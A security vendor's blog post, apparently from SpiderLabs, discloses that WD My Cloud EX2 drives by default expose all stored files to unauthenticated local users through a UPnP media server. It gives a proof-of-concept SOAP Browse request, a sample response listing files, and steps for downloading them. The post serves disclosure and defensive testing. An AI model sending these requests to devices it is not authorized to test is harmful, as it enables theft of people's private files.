Trustwave Rapid Response: CrowdStrike Falcon Outage Update. Learn More

Trustwave Rapid Response: CrowdStrike Falcon Outage Update. Learn More

Services
Capture
Managed Detection & Response

Eliminate active threats with 24/7 threat detection, investigation, and response.

twi-managed-portal-color
Co-Managed SOC (SIEM)

Maximize your SIEM investment, stop alert fatigue, and enhance your team with hybrid security operations support.

twi-briefcase-color-svg
Advisory & Diagnostics

Advance your cybersecurity program and get expert guidance where you need it most.

tw-laptop-data
Penetration Testing

Test your physical locations and IT infrastructure to shore up weaknesses before exploitation.

twi-database-color-svg
Database Security

Prevent unauthorized access and exceed compliance requirements.

twi-email-color-svg
Email Security

Stop email threats others miss and secure your organization against the #1 ransomware attack vector.

tw-officer
Digital Forensics & Incident Response

Prepare for the inevitable with 24/7 global breach response in-region and available on-site.

tw-network
Firewall & Technology Management

Mitigate risk of a cyberattack with 24/7 incident and health monitoring and the latest threat intelligence.

Solutions
BY TOPIC
Offensive Security
Solutions to maximize your security ROI
Microsoft Exchange Server Attacks
Stay protected against emerging threats
Rapidly Secure New Environments
Security for rapid response situations
Securing the Cloud
Safely navigate and stay protected
Securing the IoT Landscape
Test, monitor and secure network objects
Why Trustwave
About Us
Awards and Accolades
Trustwave SpiderLabs Team
Trustwave Fusion Security Operations Platform
Trustwave Security Colony
Partners
Technology Alliance Partners
Key alliances who align and support our ecosystem of security offerings
Trustwave PartnerOne Program
Join forces with Trustwave to protect against the most advance cybersecurity threats
SpiderLabs Blog

WD My Cloud EX2 Serves Your Files to Anyone

Western Digital's My Cloud is a popular storage/backup device that lets users backup and store important documents, photos and media files. Unfortunately the default configuration of a new My Cloud EX2 drive allows any unauthenticated local network user to grab any files from the device using HTTP requests. This is due to a UPnP media server that is automatically started when the device is powered on. By default, unauthenticated users can grab any files from the device completely bypassing any permissions or restrictions set by the owner or administrator.

Here is small proof-of-concept with explanation of each step:

  1. Attacker issues HTTP request to port 9000 asking for the "TMSContentDirectory/Control" resource. The request should contain XML with Browse action in it.

POST /TMSContentDirectory/Control HTTP/1.1
Content-Length: 447
Soapaction: "urn:schemas-upnp-org:service:ContentDirectory:1#Browse"
Content-Type: text/xml

<?xml version="1.0"?>
<s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<s:Body>
<u:Browse xmlns:u="urn:schemas-upnp-org:service:ContentDirectory:1">
<ObjectID>B</ObjectID>
<BrowseFlag>BrowseDirectChildren</BrowseFlag>
<Filter>*</Filter>
<StartingIndex>0</StartingIndex>
<RequestedCount>30</RequestedCount>
<SortCriteria></SortCriteria>
</u:Browse>
</s:Body>
</s:Envelope>

  1. UPnP server will respond with list of files on the device. The response will look like:

...
<item id="0$2$20I258" parentID="0$2$20" restricted="1">
<dc:title>L1010268</dc:title>
<dc:date>2017-12-03</dc:date>
<upnp:album>Leica</upnp:album>
<pv:extension>JPG</pv:extension>
...
<pv:bookmark>uuid:55076f6e-6b79-4d65-64cf-0014ee1c561c,-L3NoYXJlcy9QdWJsaWMvU2hhcmVkIFBpY3R1cmVzL0xlaWNhL0wxMDEwMjY4LkpQRw==</pv:bookmark
<res size="4768768" resolution="4112x3088" protocolInfo="http-get:*:image/jpeg:*">http://MYCLOUDIP:9000/disk/NON-DLNA-OP01-FLAGS00d00000/O0$2$20I258.JPG</res>
...

Notice URLs in the protocolInfo attributes of res elements. Element pv:bookmark contains base64 encoded path to the file on the device.

  1. Attacker uses subsequent HTTP requests to fetch actual files from the device using URLs from the response collected at step 2.

Unfortunately, WD declined to fix this insecure default setting. Instead they recommend that users follow this knowledge base article to turn off DLNA "if they do not wish to utilize the product feature."

For more information please see our advisory: TWSL2018-005

I have also created a tool you can use to test your own devices: https://github.com/SpiderLabs/advisories-poc/blob/master/TWSL2018-005/send-browse.py

Latest SpiderLabs Blogs

Cloudy with a Chance of Hackers: Protecting Critical Cloud Workloads

If you've been following along with David's posts, you'll have noticed a structure to the topics: Part I: The Plan, Part II: The Execution and now we move into Part III: Security Operations. Things...

Read More

Trustwave Rapid Response: CrowdStrike Falcon Outage Update

Trustwave is proactively assessing and monitoring our clients who may have been impacted by CrowdStrike’s recently rolled-out update for its Windows users. The critical issue identified with...

Read More

Using AWS Secrets Manager and Lambda Function to Store, Rotate and Secure Keys

When working with Amazon Web Services (AWS), we often find that various AWS services need to store and manage secrets. AWS Secrets Manager is the go-to solution for this. It's a centralized service...

Read More